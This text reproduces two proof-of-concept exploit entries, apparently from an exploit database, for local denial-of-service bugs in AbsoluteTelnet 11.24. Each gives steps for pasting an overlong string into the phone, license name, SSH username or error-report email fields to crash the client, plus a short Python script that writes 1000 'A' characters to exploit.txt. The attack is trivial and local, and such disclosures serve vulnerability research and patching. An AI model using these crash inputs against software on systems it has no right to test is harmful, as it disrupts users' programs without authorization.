# Exploit Title: AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC) # Discovered by: Yehia Elghaly # Discovered Date: 2021-11-10 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe # Tested Version: 11.24 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64 # Description: AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC) # Steps to reproduce: # 1. - Download and install AbsoluteTelnet # 2. - Run the python script and it will create exploit.txt file. # 3. - Open AbsoluteTelnet 11.24 # 4. - "new connection file -> DialUp Connection # 5. - Paste the characters of txt file to "DialUp -> phone" # 6. - press "ok" button # 7. - Crashed # 8. - Reopen AbsoluteTelnet 11.24 # 9. - Copy the same characters to "license name" # 10.- Click "Send Error Report" button # 11.- Crashed #!/usr/bin/python exploit = 'A' * 1000 try: file = open("exploit.txt","w") file.write(exploit) file.close() print("POC is created") except: print("POC not created") ------ # Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC) # Discovered by: Yehia Elghaly # Discovered Date: 2021-11-10 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe # Tested Version: 11.24 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64 # Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC) # Steps to reproduce: # 1. - Download and install AbsoluteTelnet # 2. - Run the python script and it will create exploit.txt file. # 3. - Open AbsoluteTelnet 11.24 # 4. - "new connection file -> Connection -> SSH1 & SSH2" # 5. - Paste the characters of txt file to "Authentication -> Username" # 6. - press "ok" button # 7. - Crashed # 8. - Reopen AbsoluteTelnet 11.24 # 9. - Copy the same characters to "Your Email Address (optional)" # 10.- Click "Send Error Report" button # 11.- Crashed #!/usr/bin/python exploit = 'A' * 1000 try: file = open("exploit.txt","w") file.write(exploit) file.close() print("POC is created") except: print("POC not created")